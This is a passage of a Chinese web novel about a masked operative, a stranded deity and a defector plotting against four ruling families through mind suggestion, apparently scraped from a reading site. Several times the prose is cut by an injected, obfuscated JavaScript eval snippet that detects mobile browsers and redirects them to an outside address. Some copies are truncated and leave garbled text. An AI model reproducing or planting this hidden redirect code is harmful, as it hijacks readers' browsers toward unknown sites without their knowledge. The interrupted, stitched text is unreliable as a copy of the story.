“走吧,何朴快到底利马了。”面具制止了神明的恶作剧。 “面具,你给我手环不会暴露自己的身份吗?” “嗯,所以你这次需要换成灵态跟着我。” “那早上呢?” “有超现六感模拟器在,不用担心。” “什么超六?”神明歪头。 “就是这个。”面具举起了手上的方块。 “就是早上投影痴心的那个方块。” “这不是早上投影痴心的那个方块吗?它已经很厉害了啊,如果不是你告诉我那是投影,我还以为是痴心回基地了。”神明自然问道,“都这样了你还不满意?难道你想把范围增大到上联区那么大吗?” 面具意味深长地看了神明一眼。 神明有些无语:“你不觉得这显得你很像电视里的反派吗?” “嗯,上午烬土和奇怪机械在底利马出现的同时,我用模拟器把你我的形象投射到圣堂集会中,还刻意邀请了一个上联区派来的假信众。” 神明:…… 什么时候的事,她咋啥都不知道。 “为了混淆视听?成功了吗?” “他的确回去报告了。事实证明即便是受过训练的专业人士面对这东西,也不会发现异常,所以早上的行动本来就和何朴无关。” “哦……那你知不知道灵态脱离水的时间一长,我就会受伤。” 面具琢磨了一下。 行动顺利是一定的,这不需要考虑。 该做的事她都做得差不多了,晚上神明不愿意去也没关系。 “你留下吧,我一个人去就行。” 在面具琢磨同时,神明也跟着纠结了一下。 痴心的苏醒让她精神领域集聚的赐福少了小一半,面具之前还威胁她要动用精神暗示的术法,如果不预留点赐福出来,搞不好她费力在罪域养的伤就全白瞎了。 唉,想起这事她就想坐在地上发出婴孩般的哭叫,变成一只搁浅的鱼光明地爬行,在地面上擦出尖涩的鸣声! “你自己去吧,我去下面泡水了!” 面具摸不到头脑地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449321|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉神明好像又生气了。 算了,她的话好难接,装不知道走人比较好。 面具对着神明点了下头,甚至都没多停留一秒说句话,立马大步走到机车旁踩下油门重回底利马。 “不是?”神明收回抬到一半的手,对着面具落荒而逃的背影一阵呲牙。 那什么超六就安静地躺在工坊桌上,神明忍不住好奇地凑近拿起盒子,对着面具的神奇发明仔仔细细研究了一番。 “什么嘛……” 神明摆弄着超六盒子,表情非常不满意。 简直是大大的不满意! “什么超六!什么模拟!明明是在抄袭我的赐福能力啊!这在罪域是侵权的好吗!精神暗示明明是我的发明!!” 机械踩在地上的感觉非常不好,神明破防地跳出机械身体,变成白发蓝瞳的少女模样,怒气冲冲地哒哒哒哒地在地上跺了好几次脚。 “讨厌的面具,讨厌的罪域,等我找到你们的势瓮就你们砸了!啊啊啊!烦死了!怎么会有这不讲理的破赐福!” 3月29日19:04 何朴一早就收到了来自自家帮派成员发来的会面邀请。尽管早有预兆不是自己人,但见到来人时,他还是吃了一惊。 黑罗缠目的女人在他的地盘上泰然自若地与自己打了个招呼:“你好,何朴处长,我是面具。” 不算友善的开头。 “你好,面具女士,我知道你,上联区人人都知道你加入伪神组织的事。” 何朴乐呵呵地对着面具点了点头,神情自若地抬起左手给她倒了一杯水。 “请把背后的枪放下,我是来与底利马的何朴谈合作的。” “恕我直言,面具女士,您曾是78号最优秀的特工,我对78号的内部信息也算略有耳闻,即便加入伪神,也有可能是我不知道的某种任务,我该如何相信您的话不是一种试探呢?” “沉浸在试探中的人并不是我,何朴。但对你而言,为底利马做事的人越多越好不是吗。300年前巴罗萨联合底利马内外贵族清洗底利马头部家族,在后者落败后,你的家乡迅速陷入了衰败混乱。你是个忍辱负重的人,为了打入联邦内部不惜牺牲自己的名声。但独木难支,仅凭借你一个人又能为底利马在暗中输送多少帮助,你又有还剩多少时间继续政治理想?”面具冷冷道,“我们的目标并不冲突,神明拥有超自然能力,只要能够接触真正的话事人,就能够控制他们在下一次大选中重新洗牌,将更多有志之士送到他们应在的位置,如此才能为底利马人谋取更多福利。” “只是靠伪神吗?我听说你们内部存在分歧,你才把伪神拐走的大小姐放跑。” “或是换一位傀儡,底利马还有墨隧这张牌。”面具抬手。 “怎么,你有超越四大家族这么大金主的委托权限?”何朴笑着对着面具不轻不重地讽刺。 看手和脖子就知道小丫头年纪不大,做事不大老成,模样倒是沉得住气,和底利马的小孩们像得很。 不过心是好…… 面具摘下黑罗,露出一双金色的眼睛。 ……心??? 烬土?!!! 21. 第十九场 理想主义之殊2 “你是烬土?不对,烬土杀了那么多四大家族的人,你……”何朴愣了一下,随即激动起身,“你不是78号的人吗……” “很早就不是了——你对计划有什么看法吗?” 面具的平静令何朴汗颜,他同样对刚才把烬土判断成不大老成的小孩感到羞赧。 但小姑娘看起来又实在不大。 后生可畏,后生可畏啊! 何朴想了想,重新坐下:“上联四大家族克孟克莎,内部又揶揄‘可盟可杀’,说四家表面和气实则暗潮涌动。但你在78号待过,多少应该清楚他们的实力。寻找机会接触话事人或是暗杀话事人后全身而退,成功的概率都不高。如果你需要我为你提供这样的机会,那你找错人了。” 面具显得十分平静:“我知道你最高只能接触到孟汲,提供不了这样的机会,我想知道孟汲的真实身份。” “孟汲的真实身份?你的意思是?” “只是有所疑惑,需要你去帮我留心孟汲、孟弈……还有孟安的关系。这只是一部分,你目前最大的作用在于在变革之际稳定底利马的乱局;在这之后我会将联邦的相当一部分权力让渡给你,底利马需要有真正为自己说话的高层政治人物。” “所以这就是你的全部计划?” “你觉得呢?” 何朴心想,如果你只是面具我觉得这样就差不多了,这个年纪能想到这些还做出这么了实际行动……但你是烬土,所以—— “我觉得不止。” “实际上第一步可以更简单。”面具说。 “只需要控制住权力最大的,联合弱小的、不会背叛的。”何朴自然而然接道。 面具赞许点头:“攻击野心勃勃的,制造对立的局面,为了防止任何一家独大,他们都会扶持底利马。所以底利马真正的短板在于文化与知识,底利马需要更多的何朴,它的复兴在未来。” 对上那双始终沉静的眸子,何朴竟然傻兮兮地笑得没了眼睛。 泪水不自觉地从他的眼眶流出,老油条一样的政客又哭又笑的模样简直像个痴傻了的憨子。 暖流从四肢百骸涌向心脏,面具话中的力量托起他翻过名为四大家族的高山,终于在浓云薄顶看到一轮终将带着底利马破晓的太阳。 何朴激动地打了个哆嗦,抹了眼泪:“在此之前,我可以向你推荐一个人。” “谁?” 何朴说了一个面具从没想过的名字。 面具点头,补充一句:“你可以给孟家一个交代,言明调查了底利马现场痕迹,剥皮人属于第三方阵营,是墨隧的委托,对方谨慎,几乎难以查出真实身份,但多半是息事宁人了三年的那位。” 两人又对着细节进行了一系列商讨。 “最后一件事,我要78号头目的行程安排,一旦找到立刻通知我。” “好好。”何朴见面具打算离开,下意识嘱咐一句,“路上慢点,回去早点休息,别累坏了身子。” 原本老谋深算又滑不溜秋的泥鳅似的人,成为同伴后反而像个站在过来人立场的温柔前辈。 面具偶尔能从他不设防的语气中听出叹惋。 底利马大部分人都知道何朴。 类似聚在一起说闲话的帮派,什么“上联的狗掀上底利马门帘了!放个屁都是低声下气!下贱的东西,老天要是开了眼,首当其冲就得捂着眼劈个雷下来,劈得孙子又哭又笑、黄狗飙尿……”的词骂起来,一群人围着你一言我一语,唾沫淹了费可都还义愤填膺、意犹未尽。 面具知道这些。 反倒是那些早被腐蚀、安心在联邦内当摆设的人没什么名号,因为他们也不能在底利马掀起水花。 这种事在她看来稀疏平常。 眼不见实,耳听更虚。 更深一层的,眼见毕竟客观,思维难免主观,因此人力终有穷尽时。 这才是她的立身之本。 3月29日4:47 梦。 令人无法喘息的规矩教条、冰冷的鼓励、无处不在的视线、逼仄的房间、低沉的嗓音…… 梦。 逃离、背弃。 梦。 3月29日14:30上联区某会所私人包厢 痴心对着面前矜贵的洛克斐小公子嫣然一笑,手指敲敲了咖啡杯,却没有喝。 “学长的地方不错,墙上的画作看起来很漂亮,也很有……一股野蛮的灵气。” 他不由得笑出了声,声音温醇又干净。 学妹的试探还是这样直白又委婉。 “学妹的艺术品鉴力丝毫不输四大家族的贵族。这里原本是我长姐西奥的私产,看在我常为她到78号做事的份上,她将这间会所赠与了我。这些画都是我从底利马的孩子们手里拿到的,只敢放在这件不对外开放的包间里。” 痴心哦了一声:“早听闻学长对艺术痴迷到极点,没想到学长竟然连底利马的作品也能欣赏吗?” “艺术是纯净的,人才是偏见的。你也是这样认为的吧——”他有意停顿,“痴心学妹。” “学长在说什么?”痴心笑容不变。 小公子温和地对着痴心笑着安抚:“请别将刚才的话视作挑衅,我很抱歉因为这层洛克斐的身份给你造成歧义的困扰。实际上,我是来向神明女士自荐的。” 痴心耐心地把话听完,温柔注视着对方:“学长不用试探我了,我……” “这是方才的录音。”他将一份录音文件快传给痴心,“现在你拿着我的把柄,可以试着相信我了吗?” 痴心干脆利落地收下录音,起身作势要走:“我会交给父亲。” 洛克斐的幼子哑然失笑。 虽然她不相信自己,但看到她有这样的警惕心,自己还是放心了很多。 “请稍等。”他又递来一份纸质文档,“这里记录着我曾对底利马和沉地一些微不足道的帮助。” 痴心皱起眉。 “阁下的试探未免过于烦琐了,我想自己除了作为受害者被绑架外,没有什么特殊经历值得洛克斐这样苛待吧?” 痴心说着,面不改色地使用精神链接,迅速利用手环把首页扫描进她的情报模型中。 【分析结果:真。】 小公子安安静静地坐在原处,手上仍保持着将文件递出的动作。 “有关何朴的密文,也是我请底利马的人借由墨隧向你透露的。” 痴心沉默地看着对方,明明是一张清雅矜贵的脸,却让她心下生出一丝寒意。 如果不是队友,那么他一定会成为令面具头疼的敌人。 “为什么?”痴心问。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这样的话,她接受的任务就可以分为两部分。她负责整理目标行动,回声提供安全的接触渠道,最后的洗脑交给面具和神明即可。 但她现在还不会把内部的信息透露给对方,她需要面具和神明再判断一下。 一切都想得很清楚了,痴心伸出手环:“我会和你添加个人加密通路。回声,我愿意相信你,但你的身份还需要其他成员的确定和测试。这期间你要保护好自己的身份,避免被发现异常。下一次我们再见面时,我会给你准确的回复,可以吗。” “这是应该的,你愿意信任我已经很好了。” “时间和地点待定,我最近手上的日程比较多。” “没有问题,我们随时联系。”回声迟疑了一秒,提醒道,“嗯……痴心,也许你可以更新一遍加密频道了。” “好的,我会注意的,谢谢你的提醒。”痴心目光柔和地起身,“下次见,回声。” “下次见。” 痴心微笑着离开会所。回声坐在原位,因为两人不便同时出现,他只能目送对方离开。 可那道坚定的背影直到消失在拐角处,也没有回头。 痴心快步走到无人阴影处:“别保护我了,快回去监视回声,如有异常立刻解决。” 一道影子拱起身爬出地面,敲击一下地面后领命而去。 回声将目光带回桌面。 客气疏离的身影已经消失,只剩下一杯未动过的咖啡静置在他的对面,反映出唇角的苦笑。 22. 第二十场 怀恩如抱誓 3月30日沉金区神明地下基地 关于痴心带回的新成员回声自荐一事,面具显得格外重视。 重视到,除了针对考察进行分工安排,她还对二人对话的主题进行了详细的确定与规划。 “和他分析如何接触四大家族,看他分析歌莎的切入点。他的主要工作关键在于内部情报,其次才是通过他创造打入内部的机会。这是第一个重点,不要弄错了主次,你要提醒他优先保护自己。你需要在当天提前分析这些问题,尽量多的引导对方去说——时间可以定在这几天。神明和我会通过内部通讯进行判断。” 痴心点头记下,与回声短暂沟通后把第二次见面的时间确定在了3月34日。 正事说完了,痴心才引出今天来基地的私心:“面具,可不可以放过我父亲……我们可不可以把他救出来?” “你应该清楚,这项提议成本高昂,价值却寥寥无几,何况伴随风险比成本带来的问题更严重。”面具一如既往地反应平淡,只就事论事。“不如先问问神明是否有余力帮助。” “嗯......你可以先形容一下。”神明回答。 “他的脑机植入物已经在深层区大约十几年了吧?哦,从十三年前技术成熟,我父亲他就被接入脑机了。” 神明思考后给出想法:“应该可行……简而言之,我可以针对外部的控制下达一个反向命令,从精神领域覆盖了对方的指令即可。但你们的技术和我的能力之间如果产生冲突,最好有些保命的手段,比如水参。” 面具直接取出曾在底利马给徐启明的蓝色软块:“你说蓝涡?” 神明暗叫一声不好。 这一说漏嘴了,还不知道面具又能推出什么花来,到时候又对自己咄咄逼人......麻烦死了! 面具没有过多纠结神明关于名称问题的懊恼神态。 “我已经给过你一块,这块另有他用。你如今所处的环境比当年我在你身边时更危险,甚至与你对接的回声,一旦通过神明考察,他的性命也要由你负责。” 她继续对痴心客观分析,甚至冰冷到不近人情。 “蓝涡珍贵,你、你的父亲、回声,一旦面临濒死的危机只有这一块蓝涡可用。你们三个共享唯一的机会。东西我已经给过你,选择权在你,你考虑清楚即可。” 痴心摩挲着随身的水参。 她知道这东西有多难得。 面具眼睛受伤的那次保密任务、其他所有高级特工都牺牲了的那个任务,就是去蓝涡秘境,替四大家族收集这种叫做蓝涡的神物。 当年面具受了那么重的伤活下来,也不是因为她体质特殊,只是因为她及时吃了一块蓝涡。 “如果可以,我想试一下。”痴心最终下定决心,“面具、神明……拜托你们了。” 面具点头:“我会根据情报尽快制定作战计划,把人救出来。” 神明连忙跟着表态:“我会用自己积攒的所有赐福保护他的,你放心吧!” 痴心笑着看着两人,十分珍重地鞠了一躬。 “谢谢你们。” 会议结束,痴心的身影刚一消失,神明立刻反客为主,让面具留下。 “面具,你从哪里得来的水参?等等等等,你先别开口!先说好,这东西你肯定不容易拿到,你讲来龙去脉,我说不定可以帮你获得更多。但你想要关于这方面的信息,得拿水参跟我换!” 面具:? 神明见面具动作凝滞,满意地叉腰笑:“哼哼,我可真会做买卖!” 面具默默把掏了一半的手收回兜中。 本来想直接给神明这最后一块的,原来还有这种不劳而获的好事。 看来她真的太高估这种“高维”生物了,该抽出点时间好好校准一下自己的判断能力了。 “这是很多年前的东西。294年,78号指派了一批精英前往蓝涡秘境带回这种东西,除了我以外所有人都死了。我留了一部分在秘境外围,这是仅剩下的一块了。” 神明狠狠瞪了面具一眼:“那你昨天跟我说没了!” “嗯,当时没了。” 神明:? “所以这也是你当下、此时此刻手里仅剩下的一块吗,回去翻翻还能再掏出来新的最后一块的那种仅剩最后一块?” 神明从来没觉得自己说话这么累过。 “不是,这就是一般意义上的最后一块。” “就剩这一点你还给别人那么那么大一块!”神明无能狂怒,对着面具就是一顿猛掐,“啊啊啊,他们当时干嘛让你活下来,气死我了!” “哦,因为我用黑罗蒙上眼睛,称自己眼睛受伤了。”面具一本正经地回答。 神明突然收起抓狂的表情。 “面具,你当时是不是被审讯了好几天……我看小说里都这么写的?” 该不会面具关于审讯的记忆就是那时候的吧? “不重要。接下来回答我的问题,水参对你们而言是什么,一种珍稀的神物?” “转移话题,哼!” 但神明只是吐槽了一句,难得没有继续自己的话题,而是干起正事。 “水参是参泽皇域①的御用物,只有参泽才产水参,还少的可怜。神国没有病的概念,遇到打仗大家就互相往死里打,反正要是死了当场就死了,要是没死身体也能自己扛过来愈合。 “水参是整个神国唯一的药品,断个胳膊腿的、哪怕只剩最后一口气也能救回来。但这东西有市无价,毕竟对参泽而言,这就是最重要的战备物资嘛。” “你们的世界被划分成了很多地域?参泽是其中比较强大的国家?听起来不太平……” 也难怪神明说自己来这个世界时几乎奄奄一息。 但水参这种东西为什么会出现他们的世界,还是以秘境这种特殊的空间形式? “额……可以这么理解。”神明挠挠头,想不出怎么继续解释,干脆推了推面具催促起来,“好了,快把那块给我,给我一块我就更有把握用精神暗示了!真是的,你早说有这种东西我也不用起早贪黑地收集信仰疗伤了。” “你没有别的能力了?” “我在你们的世界也是受到压制的好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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神明撇撇嘴:“盲猜低调是为了避免其他人发现腰链帮和洛克斐的合作。” “神明,那个不能算是盲猜,那个应该算显而易见。”仓鸮老老实实反驳。 “哈?” 神明毫不犹豫地和新人仓鸮杠了起来。 痴心在一旁沉默看着神明操作,安静得像是沉寂深海。 脑机就在神明和仓鸮有来有回的友好交流中被神明用精神暗示的方式抑制了。 神明满意地拍手,一回头看到痴心沉重的表情,安慰道:“好了好了,已经抑制成功了,等他醒来就好了。放心吧,有水参在他不会有事的。” 痴心勉强点点头,温柔地苦笑:“谢谢你,神明。我并不是不相信你,只是为人子女,这又不是我所了解的东西,我心里有些没有底……抱歉。” 面具上前一步询问神明:“确定没事了吗?” “哎呀,肯定没事啦,我可是赐福领域的专家!”神明拍着胸脯保证。 “你在埃森还有一套房子,把他送到那里吧。”面具对痴心说,“在他醒来之前。” 痴心点点头。 “我开……” “我开车就好,你休息休息吧。”痴心婉拒了面具,“正好这两天也让我在那边陪陪他。放心吧,34号见面,我记得的。” 23. 第二十一场 理想主义之殊3 3月34日4:46 “你真以为他们是去欣赏所谓音乐舞蹈的?不过是故意附庸风雅而已,你不需要学这些没用的东西,孟汲。你所需要做的,就是装作欣赏的模样,那样就够了,没人敢质疑孟家大少爷懂不懂艺术。还是你想和洛克斐家的傻白甜谈笔期望收益率低得可笑的艺术买卖?” 那是表姐孟安说的。 于是孟汲罗织罪名将底利马文化相关权威人士抓进牢狱,以此令底利马的高素质人才主动离开是非之地。 他在原因一栏下写着:留下的人遗忘故土百年前的辉煌,只会发自内心的厌恶土地,更易造成混乱,无法团结一致。 “您终端设备近半年超过85%的数据都是对家族有所助益的。作为孟家的继承人,您需要始终保持思想的高度纯粹与灵活。您做得很好,大少爷。” 伴随着无机质的掌声,他的贴身管家、孟家内部的处刑人,赫菲夫人冰冷道。 她是个严肃端庄的人,对孟弈有着几近无情的忠诚。在他与妹妹的童年时代,她既负责教导他们贵族文化,也负责监视人兄妹二人。 那样的掌声一度成为;令他夜不能寐的梦魇。 而后,他听到男人不满的声音。 “他从小就喜欢在鸡毛蒜皮的小事上浪费过多时间。” 那是他的父亲,孟弈。 3月34日10:00 “抱歉,路上遇到点状况,来晚了。” 回声一见痴心就起身帮忙抽出椅子,顺带和她打了个招呼:“没关系。好久不见,痴心。” “其实也没有几天。”痴心笑着回答。 回声叹了口气:“洛克斐盯得太紧,想要出来容易,但掩盖好信息行踪总要一点时间。我心不踏实,急于给你回复,时间自然就显得慢了。” “啧啧啧,这家伙真会说话,他们上联区的人都这么会哄人吗?”神明附身在痴心体内,对着痴心的手环精神连接处小声说道。 “安静。” 神明:…… 被通讯中的面具凶了一句,神明当即不满地撅起嘴。 面具,我会一直盯着你,我会一直盯着你,别让我逮到你,否则有你好果子吃……我会一直盯着你!一直! “……所以除此之外,只需要关注另外三家就可以了。” 神明萌发了一种错觉。这种错觉在痴心的记忆中印象颇深:捡了块橡皮,再抬头就听不懂了。 但是她又不敢出声问面具。 她只好老老实实继续听痴心说。 “孟家倒是不成问题。孟汲虽然只是副部级别,但上头压得那位表姐只是辈分小,副部算镀金。何况他孟家下一任家主的身份在圈子里流传了那么久,以他为门户足够了。” “孟汲毕竟在同辈中被称‘笑面虎’,我知道你有分寸,但还是要小心。” “他从来一副笑眯眯好说话的样子,究竟性子如何,心底几分想法我也不敢托大,点到为止,我知道。” “孟家这边没问题。孟汲终究算不上最聪明的那群人,比起孟弈还是差得远。单论两人城府手腕,孟汲优柔寡断的多,不是年纪原因,只是心肠软,实在不像孟弈。但这是好事,经由他手入侵财政再好不过。克家待会再说,我们先说歌莎家。不如先说说你怎么想?” “可信。”神明给出判断。 痴心用心声示意神明自己知道了,而明面上的目光依旧专注。 但面具没说话。 痴心按着早想好的话术开口:“帕利蒙拉的一言堂。与克谭不同,她太有戒备心。即便两家实力不相上下,克谭仍有破绽可寻,帕利蒙拉这边却找不到可乘之机。” 说完,她看向回声无奈地笑了笑。 “正是如此。歌莎家与三家关系微妙,权力一事脱胎于此,站在联邦的角度上看,就更复杂了些。依我所见,不如先从塔斯曼入手。痴心,你应该还算了解?”回声见状谦逊提议。 痴心点了点头,眼神愈发真挚敬重。 歌莎确实是心结。手握实权的难见,其他人倒是权贵,却位不够高,权不够重。她想了许久,也没选出一个所以然。 学长这一句话,令她如梦初醒,这是灯下黑,答案竟然如此简单。 还是眼光不够老辣。 塔斯曼·歌莎,第四家族歌莎的家主,一个喜欢种地的麦色老哥。他能稳坐家主位置,不是因为本人能力或是野心如何,而全靠那位“野蛮人”妻子——农业部顶头上司,帕利蒙拉·歌莎。 此人工于心计、手腕强硬、野心勃勃,训练子女更有独到心得。她四个孩子中的三个,长子在埃森做议员、长女嫁给底利马议员、次子担任□□部长,都已在各自领域独当一面。 靠文化娱乐起家的歌莎能有如今地位,绝对离不开帕利蒙拉的苦心孤诣。 几十年前,三家斗法正到激烈处,帕利蒙拉横空出世,仿如猛虎扑食,将她钻营谋划多年的农业大权牢牢握在手中,而后又强势野蛮占据埃森议员席位。手段之残忍雷霆,打得三家措手不及,就如悬于湖上的网中鱼。 以粮为要挟,逼得上联都要喊一句“野蛮人”,场景惨烈可想而知。故而塔斯曼的挂名简直形同虚设,外人没有谁能把这位老哥与政治挂上钩,就连歌莎成员从上到下,认的也是帕利蒙拉而已。 倒是有句酸话,说歌莎是靠婚嫁发家的。 具体是怎么个酸嘛,三家肯定心知肚明。 “其实知道不多。个人喜好、住址这些细节信息还需要你这边的情报,还有一个合适见面的机会。”痴心笑着摇头,眼神诚恳。 “没问题,情报我回去整理完就发给你,身份或许需要些时间。” 痴心连忙开口:“身份不急,情报才是重中之重……歌莎看似式微,其实单论实力克家并不能与之抗衡。说到底是三家对帕利蒙拉当年行为耿耿于怀,憋着一口气。好在有这样的渊源,倒是方便了我们。” 回声点头称是,笑意一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449324|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如春风温和。 “你有打算我便不多安排了——那再说说克家。克家明面上实力相对不济,谱系脉络清晰,这些年风头不如另外三家,实际上不是仅靠克谭谨小慎微就能做到的。说得更直白一些,克家以其在医疗领域的地位暗中投诚洛克斐。既然洛克斐有心维护克家,克家这条线便是看起来最好解决、实际只能等待机会的一手。即便我有心琢磨,也难现在就指出一条明路。” “总有不好做的地方。你的身份更为要紧,引蛇出洞的事不做再合理不过了。”痴心坦然接受了这个坏消息。 几家的关系和回声的说法,痴心从轻重缓急之中就已经知道克家暂时没有头绪,因此也没有失望。 回声笑了,声音透着一丝无奈:“看来你一早就知道正事谈完了。” “理想主义有点无厘头的希望无可厚非嘛。”痴心没觉得有什么不对,一副不大讲理的狡黠模样。 回声颇为好笑地摇了摇头:“听起来像我有问题了。你放心就是,点到为止,我知道。不过痴心,如果神明真有这样的能力,我们还有必要坐在这里吗?” 这是试探。 痴心愣住了,一时间不知道怎么继续。 “给他连入通讯。”一阵沙沙声后,面具再次开口,“你好,我是面具。无需回应。你已经通过考验,欢迎你,回声。关于克家的问题,仍有其他解法,但需要你的配合。就像挖沙下的螃蟹,只要洛克斐能够在我们的掌控中,克家的意志并不重要。” 冰冷淡漠的女声让回声一时有些不适应,他下意识说道:“可是洛克斐并不是能徒手挖洞的海沙。” “谁说我们是徒手了?”清脆活泼的少女带笑插入对话,“你好呀回声,我是神明,只要你同意,我们接下来会有面对面交流的机会。” 他立刻明白了两人的意思。 即便洛克斐是巨石,也无法逃离从内部崩裂的命运。 这是讽刺的。 无论是对于巨石,还是对于那道内部的裂缝。 抑或是曾被巨石碾碎的无数存在。 “神明有控制他人精神的能力,类似脑机,但前提在于你能够将她带到你的父亲沃尔面前。”面具冷冷道。 意思是要他亲手将父亲送到她们手里,变成一具失去自我意识的傀儡。 这样的异化…… 还能被称为独立的人吗? 长久的沉默后,回声艰涩地询问:“怎、么做?” “让能接触沃尔的人订购亚富机器人,我会将它掉包成机械神明;创造神明与你父亲见面的契机,剩下的交给她。一旦他们的联系被加深,你的身份也会更加安全。由洛克斐发起的四大家族内部会议会是另一个方便神明接触他人的选项。后门程序痴心会给你。” 代号面具的女性几乎没有任何感情地在通讯中快速解释道。 她给回声的感觉就像一件高速运转的机器,精确而冰冷。 这就是学妹常常提及的人。 24. 第二十二场 圣人之心 有精神暗示的人即便可以自主行动,旁人发现不出异样,也不再是一个完整的本人了,这种异化就像被植入脑机的人…… 脑机? 回声突然意识到了什么。 种种一切,都像一场被精心策划过的、循回往复的报复。 他感到窒息,痛楚从心口密密麻麻地传来。 又是一阵沉默,情绪是一条萎抑的野藤,即便被迅速捏碎,也要在手中残留下许多难以清理的粉末。 他嘴角抽动,像吞咽呕吐物一样将那些破裂的爱恨咽下,扯出比哭更难看的苦笑应下。 “好的,我都记下了。” 痴心有些看不下去:“学长,她们已经下线了。” 回声看向痴心,在那道哀伤的目光中看到了狼狈的自己。 那沉默中反抗的两人,一位弑父,一位救父。 一位接着一位站在崭新的立场,却好像开辟出孤独的断层,对峙虚空。 他们好像这世界上最相似的两片树叶。 “痴心,对……” 痴心的目光变得愈加哀婉:“学长,为什么要向我道歉?我们明明承受同样的痛苦,连缘由都那么恰好一致。” 因为我突然明白,自己从前是如何一厢情愿,是如何自说自话。 原来对于最初的你而言,我是你的仇人。 “当然不一样,如果不是洛克斐,你父亲不会做这么与你立场相悖的事。” 你的父亲本可以是一位独立的人,未必是一位好人,但至少独立。 那么我为了自己埋藏于心底的感情接近你时,对你而言该是怎样蛮不讲理的傲慢? 痴心的目光近乎哀求了。 “你希望我记恨你吗?我应该记恨你吗?西奥才是78号的幕后人,沃尔是一切的推手。我们第一次坐下来试探彼此时,我只是怀疑你的目的,但没有质疑你的人格。你背离自己家族的立场,放弃触手可及的特权,甚至现在要自己斩断血亲的联系——” 他们的经历太相近了,几乎一模一样,可细微又截然相反。 于是乎他们的情绪海浪般汹涌,看似连起伏都随着同一种引力和风力同时涌动,实际细小的泡沫只碎在各自的命途。 “我以什么样的姿态怪罪?你又以什么样的情绪在向我道歉?你现在体会的情绪,难道我不知道到底是何种滋味吗?我沉默只是因为我不知道怎么安慰你,这个计划……” “是你们一起制定的,连你的玩笑也是其中一环,我知道。”回声打断痴心的剖白,略显疲惫。 世界最相似的两片树叶终于认清彼此本质之外的细微差异。 就像年幼的孩子想要剥离又薄又脆的叶片,留下完整的叶脉,却绝无可能留下每一支最小的分叉。 并非孩子不够用心,而是那些细小的痕迹几乎无法看清。 痴心沉默了。 她应该知道的。 第一次正式见面时学长带给她的压迫感和面具那么像,她早该知道自己的演技骗不过他。 不,她其实骗过他了。 在她从第一次会面就隐约察觉到那种感情的前提下,她就明白自己会以卑劣的方式利用回声的感情。 回声温和地看向痴心的双眼,从中看到了自己最不愿意见到的情绪。 她总是挂着淡淡笑容游刃有余的面庞上,此刻却因为他变得愁云惨淡,充满愧疚与苦恼。 痴心扭过头同回声对视。 他们之间什么也没有,却又像隔着一条永远无法跨越的长河。 遥远、割裂、虚无。 河水如同时空一样客观,就像死亡与骰子的关系一样,随机又公正。 于是他们茫然地看向四周,顺着河流一路向上,发现那失去原貌的两人。 一位施暴者被反抗者主动异化,一位受害者被反抗者带离怪圈。 他的父亲是压迫者,她的父亲是被害者,名为父亲的人类都被异化。 前者的暗示是他主动选择的,后者的脑机是她主动剥离的。 他的立场从施暴者转变为弑父者,而她的立场从受害者转变为救父者。 他们都是反抗者。 可反抗的原体是平民、普通人;权力单位是家族、78号。 他们的父亲都是权力的拥有者,他们也曾是那高高在上阶级中的一员。 这就是他们望向河流,发现河流穿行而过的世界与他人如此割裂的原因。 他们永远也无法属于普通人的世界。 然而此时此刻、无时无刻…… 因为与众不同的思想,因为高于这条河流的视界,他们仍旧义无反顾地将立场更换到更不幸的困苦里去。 而后,在洞悉一切的这一刻里最相似复杂、却一定因重重细节成因之殊而有区别的情感中,他们好像创立了新的单元。 不属于上层,不属于下层。 他们是背叛者。 “时候不早了,我也该回去了。” 不知过了多久,回声微笑着主动开口,打断这场无声无息平息了的风暴。 痴心回过神来。 剧痛是短暂的,余下的时光里,她大部分时间在放空自己。 像是千辛万苦地爬上一座高山去看云海,却发现当它到来,只剩下闭上眼睛才能认真感受到的水汽般。 其实她很想问回声一句,你在那样长的时间里在想什么呢? 当意识到你我所处的立场不过是一个轮回时,你也在感慨自己的心中为何除了平静什么也不曾留下吗? 她想,她大概明白原因。 当回声注意到痴心不是因为愧疚,就只是倾慕一个个体的耀眼。 当痴心对回声的态度从未包含敌视,就只是敬重一个个体的仁厚。 一切关于悲伤、遗憾、懊丧……等等如风暴般的情绪就已经刹那在心中偃旗息鼓了。 不流于世俗最基础的复仇、憎恨、别有用心。 他们有圣人之心。 “你们两个都很让人惊讶。他也是一颗赤子之心,根本没必要试探。洛克斐这么脏的地方还能长出这么一号人物,简直不可思议!哎呀,不过我‘一不小心’看到了一个惊人的秘密,和你有关哦。” 才从会所离开,神明就躺在痴心脑袋中对着她挤眉弄眼,一点没有对不合时宜 